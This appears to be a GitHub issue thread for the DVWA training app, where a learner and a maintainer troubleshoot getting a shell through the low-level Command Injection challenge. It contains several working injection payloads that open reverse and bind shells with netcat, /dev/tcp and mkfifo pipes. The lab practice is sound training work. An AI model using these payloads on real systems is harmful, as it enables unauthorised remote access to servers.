Reverse Shell payloads for Command Injection Challenge in DVWA not working properly
Jon1oh opened this issue · 32 comments
Hello. I'm unable to perform a Remote Code Execution (RCE) Exploit for the low security level of DVWA Command Injection.
My target machine is 192.168.33.10 while my Kali Linux machine is 10.0.2.15.
Here are the RCE payloads I've attempted so far but to no avail:
-
192.168.33.10; mkfifo /tmp/pipe; sh /tmp/pipe| nc -l 4444 > /tmp/pipe
Followed by:
nc 192.168.33.10 4444
-
Followed by:
192.168.33.10; bash -i >& /dev/tcp/10.0.2.15/1234 0>&1
Result: Nothing happens. -
Followed by:
192.168.33.10; nc -e /bin/bash 10.0.2.15 1234
Result: Nothing happens. -
Followed by:
192.168.33.10; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 1337 >/tmp/f
Result: Nothing happens.
Is there something wrong with my injection payloads? Or is there something wrong with the configurations of my command Injection challenge in DVWA? I did not modify any of the source code and configuration files.
Thanks.
The attacks are designed to get harder as you move up the levels, have you tried other ways to inject commands?
Yes, I understand and yes I have. But this is just the low security level.
I can only perform normal command Injections.
E.g.
-
"; whoami"
-
"; pwd; ls ../" etc.
Here is the source code for this challenge:
All these Injection payloads work on the DVWA website, but the RCE payloads I've searched online don't work. Is there any other way to perform RCE and access the target server?
You are already performing RCE, that is why you are getting the data back. What you are actually asking is how to get a reverse shell.
Looking at your IPs, can the DVWA box see the Kali box? Can you do a basic netcat between them? Make sure all that is working before you try to get it working through DVWA.
Both my boxes can ping each other.
my DVWA machine doesn't support the -e flag for netcat. I've done "apt update -y" and "apt upgrade -y" but no difference.
I did this and got a reverse shell on my Kali machine. Even managed to get a python shell running on Kali.
Now left with testing on the DVWA website.
I managed to use the same reverse shell payload on the DVWA website to get a connection to my target machine from my Kali machine.
But tried it again to confirm and I get this error message on Kali.
Please advice on further steps to be taken. Thank you.
The first thing I'd suggest is forget DVWA and just learn all this stuff on the command line. Research how netcat, pipes, and stuff like that works.
You also need to learn about this type of syntax as it only works on some flavours of Linux, specifically not Debian based ones.
/dev/tcp/10.0.2.15/1234
Once you've got it all straight in your head about what things are doing, then look at using it through DVWA. It will be a lot easier then.
The best reference I can give is to search for SANS netcat relays, specifically from Ed Skoudis. There are some very good papers out there explaining it all. When I was first learning it I had 6 different machines and I bounced relays all around them by piping one into another.
I've managed to get to this stage of setting up a simple netcat session between the 2 machines.
After testing and fixing some things for netcat on my DVWA machine, I managed to get a reverse shell on my Kali machine when I use the reverse shell payload directly on the DVWA machine.
However, I receive this message on Kali when I use that payload on the DVWA website.
I don't have any firewalls set up. The network connections work fine.
I want to set up a reverse shell through the input field of the DVWA website, which will allow me to access the DVWA machine from my Kali machine. But now uploading the reverse shell only works directly via the DVW machine, which should not be the case.
In the 1st screenshot, I am using executing the bash executable directly on the DVWA machine and access it from the Kali machine via a reverse shell. This works.
After I dropped the connection in the 2nd screenshot, I just used the "nc -l -p 1337 -e /bin/bash" on the DVWA website and the "nc 192.168.33.10 1337" command on my Kali terminal. The 2nd screenshot is the output of running the "nc 192.168.33.10 1337" command.
Yes I submitted that payload. The DVWA website is still loading after I get the "connection refused" message in the Kali terminal.
But if the website hangs and my payload got executed, why doesn't the session get established? There is no firewall running in the background and both machines can ping each other.
Here's the output of "ss -natp" on the dvwa box. My specified port, 1337, is not found.
Here's the contents of the apache error.log file.
There's nothing related to my specified port 1337.
There is the issue of the corruption of zend_mm_heap. Nothing else interesting.
Ok. This time, I used the same commands but on the opposite machines. The connection doesn't work.
I used back the commands in the original machines and this time the reverse shell failed.
I didn't use the -p flag.
Using the same command without the -p option also didn't work on the DVWA website.
My netcat payload is still running. Port 1337 is not up. Is it supposed to be port 33239? I think this port is associated with the nc process that is currently running.
Will look more into this. Thanks for your help.
This is where you've got to watch out on the installed versions. I've just tested this out on my box and this works...
The payload is:
127.0.0.1;nc 192.168.0.7 -l -p 4444 -e /bin/bash
connecting to this from my other box:
nc dvwa.test 4444
This is what I see from ss:
$ sudo ss -antp | grep LIST | grep nc
LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* users:(("nc",pid=21325,fd=3))
On my "attacker" box I've got:
$ dpkg --get-selections | grep netcat
netcat-openbsd install
On the DVWA box I've got:
$ dpkg --get-selections | grep netcat
netcat-traditional install
Regardless of whether you get this working, what I really hope this shows you is that you have to understand your environment. Too many people come on here (not you) and just ask for a one liner on how to do something, they don't want to understand why, they just want to do it. That is fine for a one off instance, but once you hit the real world it gets very messy and you have to be able to cope with it.
So in terms of the environment of my machines, I must ensure that they are able to "see" each other by
- Performing simple pings to each other and from there.
- In the context of reverse shells, try to open up simple netcat sessions on each machine (one from the other and vice versa)
- For reverse shells using netcat, I must also ensure that they are running on the same version and/or type.
Correct? Am I missing anything else?
I think I managed to solve the issue of my specified port not appearing in the output of the "ss -natp" command. I just used another command separator instead of the ";" character and I could remotely access the DVWA server after submitting the payload and setting up the netcat listener on my attacking Kali machine.
Here is the output of "ss -natp" on my DVWA machine for cross-checking the specified port 1234 status. (Highlighted in red)
Yes, I am sure. The reverse shell payload does work when I use ";" as the command separator. But every time I close a reverse shell connection and try again using the exact same payload and command separator, this happens.
The problem is that the specified port number does not appear in the "ss -natp" command and there don't seem to be many sources online that talk about this bug.
Tried this too: https://unix.stackexchange.com/questions/263554/ss-not-showing-all-ports-being-listened-on"
The command just executes in the terminal without setting up a session.
My specified port 1337 also isn't up on my DVWA machine.
I've tried using a different port number. But the results are the same.
I'd need to either revisit the DVWA webpage or even boot up Kali again for the same payload to work. Getting a reverse shell established consecutively is quite inconsistent.
I've just tested and I can get a consistent shell with the payload:
; nc -l -p 4444 -e /bin/bash
You can't have two connections open on the same port at the same time, so if you've gone one connection then you won't be able to refresh the page and use the same payload as the port is in use.
When you first setup the listener you should see this in the ss output:
LISTEN 0 1 0.0.0.0:4444 0.0.0.0:*
Once you have a connection it will change to:
ESTAB 0 0 192.168.0.9:4444 192.168.0.10:51322
This is going from the LISTENing state to the ESTABlished state as the client connects in and uses the connection.
Gone quiet, closing.